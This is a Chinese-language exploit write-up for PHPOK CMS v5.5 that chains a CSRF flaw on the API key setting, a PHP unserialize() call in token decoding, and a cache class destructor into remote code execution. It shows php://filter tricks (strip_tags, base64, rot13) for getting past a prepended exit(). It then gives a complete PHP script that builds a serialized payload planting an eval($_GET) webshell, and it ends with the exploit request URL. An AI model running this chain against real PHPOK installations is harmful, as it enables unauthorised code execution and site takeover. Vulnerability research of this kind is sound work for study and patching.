漏洞影响版本
PHPOK v5.5
漏洞分析
路由规则
phpokcms代码结构,关键代码都在framework文件夹下
phpokcms的路由规则比较简单,index.php admin.php api.php 分别对应 framework文件夹下的www admin api这三个文件夹
请求url
1
| http://localhost/phpok/admin.php?c=address&f=open
|
参数c的值拼接上_control.php
就是对应的文件,对应的类即参数c的值拼接上_control,如address_control
参数f的值拼接上_f
就是对应的方法,如open_f
](https://imgbed.cn/preview?id=60208e205dc5370001a461a4)
可利用恶意类
文件位置:/framework/engine/cache.php
__destruct()调用了save方法,在save方法中使用了file_put_contents函数,函数的第一个和第二个参数均可控,但是第二个参数前面拼接了<?php exit();?>
使后面的php代码无法执行
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| <?php class cache { public function __destruct() { $this->save($this->key_id,$this->key_list); $this->expired(); } public function save($id,$content='') { if(!$id || $content === '' || !$this->status){ return false; } $this->_time(); $content = serialize($content); $file = $this->folder.$id.".php"; file_put_contents($file,'<?php exit();?>'.$content); $this->_time(); $this->_count(); if($GLOBALS['app']->db){ $this->key_list($id,$GLOBALS['app']->db->cache_index($id)); } return true; }
} ?>
|
绕过exit()
save方法中使用了file_put_contents函数,第一个和第二个参数均可控,第二个参数前面拼接了<?php exit();?>
使后面的php代码无法执行,可以通过php://filter伪协议使拼接的<?php exit();?>
失效
来源于
基于php://filter协议对exit函数几种逃逸方法的分析
该特性从PHP 7.3.0起废弃
<?php exit()?>
本质是XML标签,可以使用strip_tags()
函数去除它。为了防止我们写入的代码也被去除,需要把代码base64编码后写入
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| <?php file_put_contents('php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']); ?>
|
将<?php phpinfo();进行base64编码后提交
1
| http://localhost/test/1.php?a=PD9waHAgcGhwaW5mbygpOw==
|
写入成功
2.base64
base64编码结果只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时(如<
、>
、?
、;
、(
、)
等),将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,如<?php exit();?>
就会先变成phpexit
再进行解码,phpexit一共7个字符,而base64解码算法是4个byte一组,所以再在后面任意添加一位,比如a
,这样就是phpexita
再在后面接上一句话的base64编码,前面八位phpexita解码结果是乱码不会被执行,后面接着解码一句话的base64编码
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| <?php file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']); ?>
|
提交
1
| http://localhost/test/1.php?a=aPD9waHAgcGhwaW5mbygpOw==
|
3.rot13
<?php exit(); ?>
在经过rot13
编码后会变成<?cuc rkvg(); ?>
,在php
不开启short_open_tag
时,php
不认识这个字符串,也就不会被执行,<?php phpinfo();?>
经过rot13编码后的结果为<?cuc cucvasb();?>
提交
1
| http://localhost/test/1.php?a=<?cuc cucvasb();?>
|
反序列化
由名称得知decode()为解密函数,encode()为加密函数,encode()调用serialize(),decode()中调用unserialize(),找到调用decode()处,把序列化后的恶意类用encode()加密再使用decode()解密并进行反序列化。
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| class token_lib { private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600;
public function keyid($keyid='') { if(!$keyid){ return $this->keyid; } $this->keyid = strtolower(md5($keyid)); $this->config(); return $this->keyid; }
private function config() { if(!$this->keyid){ return false; } $this->keya = md5(substr($this->keyid, 0, 16)); $this->keyb = md5(substr($this->keyid, 16, 16)); }
public function encode($string) { if(!$this->keyid){ return false; } $string = serialize($string); $expiry_time = $this->expiry ? $this->expiry : 365*24*3600; $string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string; $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); return $keyc.str_replace('=', '', base64_encode($rs)); }
public function decode($string) { if(!$this->keyid){ return false; } $string = str_replace(' ','+',$string); $keyc = substr($string, 0, $this->keyc_length); $string = base64_decode(substr($string, $this->keyc_length)); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); $chkb = substr(md5(substr($rs,26).$this->keyb),0,16); if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){ $info = substr($rs, 26); return unserialize($info); } return false; } }
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encode()和decode()都要求keyid,全局搜索得到keyid来源于管理员设置的api_code
1
| $this->lib('token')->keyid($this->site['api_code']);
|
CSRF
在后台找到API验证串设置处
抓包后发现无csrf防护,构造请求诱导管理员访问即可
利用
构造脚本
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| <?php class cache{ protected $key_id; protected $key_list; protected $folder;
public function __construct(){ $this->key_id = 'shell'; $this->key_list = 'aa'.base64_encode('<?php eval($_GET["shell"]);?>'); $this->folder = 'php://filter/write=convert.base64-decode/resource='; } }
class token{ private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600;
public function keyid($keyid=''){ if(!$keyid){ return $this->keyid; } $this->keyid = strtolower(md5($keyid)); $this->config(); return $this->keyid; } private function config(){ if(!$this->keyid){ return false; } $this->keya = md5(substr($this->keyid, 0, 16)); $this->keyb = md5(substr($this->keyid, 16, 16)); }
public function encode($string){ if(!$this->keyid){ return false; }
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600; $string = sprintf('%010d',($expiry_time + time())).substr(md5($string.$this->keyb), 0, 16).$string; $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); return $keyc.str_replace('=', '', base64_encode($rs)); }
private function core($string,$cryptkey){ $key_length = strlen($cryptkey); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array();
for($i = 0; $i <= 255; $i++){ $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++){ $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++){ $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $result; } }
$token = new token(); $token->keyid('123456'); echo $token->encode(serialize(new cache)); ?>
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运行脚本得到payload
](https://imgbed.cn/preview?id=60208e5954a29f0001d1ddfb)
在index_cotrol.php中的phpok_f方法中发现调用decode
根据路由规则请求url,token为payload
1
| http://localhost/phpok/api.php?c=index&f=phpok&token=478ef7obit5nzTBxeDcrCXjGxB4ifLSKWvkWtVrpSmI9W4o0rjCDuphi5+PHD0vNqavv0lx0PQ+v/RfRV/CPv81ncmZb2RJy2eYWxxRII1wSLQ825xh7jrjXMPjbAZ6gUiAuCb2HSMz/vizU53Wfc64OIB/5FYAH0OcBENNyngihF9LNgQ5pxVQkf2EAvG0T7AbWMb6prp0ZTaZ19SbZdAeKV3AB8LApao8nODRRNLutAwh5k6MUefwjD9lU/Czv0n/UXAGlIl+asWwzpz6pMYfHTbIc5Byug4
|
利用成功
参考:
https://xz.aliyun.com/t/7852
https://www.ghtwf01.cn/index.php/archives/985/
https://www.ghtwf01.cn/index.php/archives/981/
http://althims.com/2020/02/05/phpok-5-4-173/